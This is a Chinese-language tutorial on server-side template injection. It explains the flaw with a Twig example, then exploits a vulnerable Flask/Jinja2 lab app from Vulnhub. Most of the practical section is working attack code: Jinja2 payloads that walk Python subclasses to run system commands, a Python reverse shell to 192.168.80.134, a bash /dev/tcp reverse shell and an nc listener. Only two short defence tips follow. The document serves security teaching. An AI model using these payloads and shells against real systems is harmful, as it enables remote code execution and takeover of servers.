前言
SSTI 全称Server Side Template Injection,服务器模板注入,先上一张图,各位可先看图根据后文加深印象
SSTI的简单讲解
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性,所以说 用户的输入永远都是不可信的。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );
有经验的小伙伴可能会立刻想到xss,但是问题不止如此,此时我们可以尝试使用ssti:假设我们发送如下请求,
custom_email={{7*7}} // GET 参数
49 // $output 结果
还有更神奇的结果:
custom_email={{self}} // GET 参数
Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5
could not be converted to string // 错误
我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
实战
Vulnhub的Flask/Jinja2中的服务端模版注入
首先我们看看他的代码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
可以看到Template(“Hello “ +name),Template()则是用户可控的,我们就可以这么来:
随手尝试一波xss,这边是没有经过任何处理的 所以有xss很正常
此时写入模板语句:
可以看到也是能成功执行的,那么我们需要怎么利用呢?
我们知道 在python当中 执行系统命令需要import os模块;
然而 想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册
需要在上层的代码里加一句:
t.globals['os'] = os
如果没有加这一句,直接使用os中的方法会报错。 那么,如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢?这就要用各种下划线函数了。
且因为python2与python3存在差异 所以这里找到了个通用的payload
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
看到别的大神也有使用func_global模块的linecache 我这里也把代码贴出来 其实都是差不多的:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
可以看到成功执行了whoami命令 后续的话想反弹shell可以直接用python反弹或者bash…
python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'
Bash:
受害机命令
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
本机命令
nc -lvvvp 1234
防御
尽可能加载静态模板文件
不要允许用户控制此类文件或其内容的路径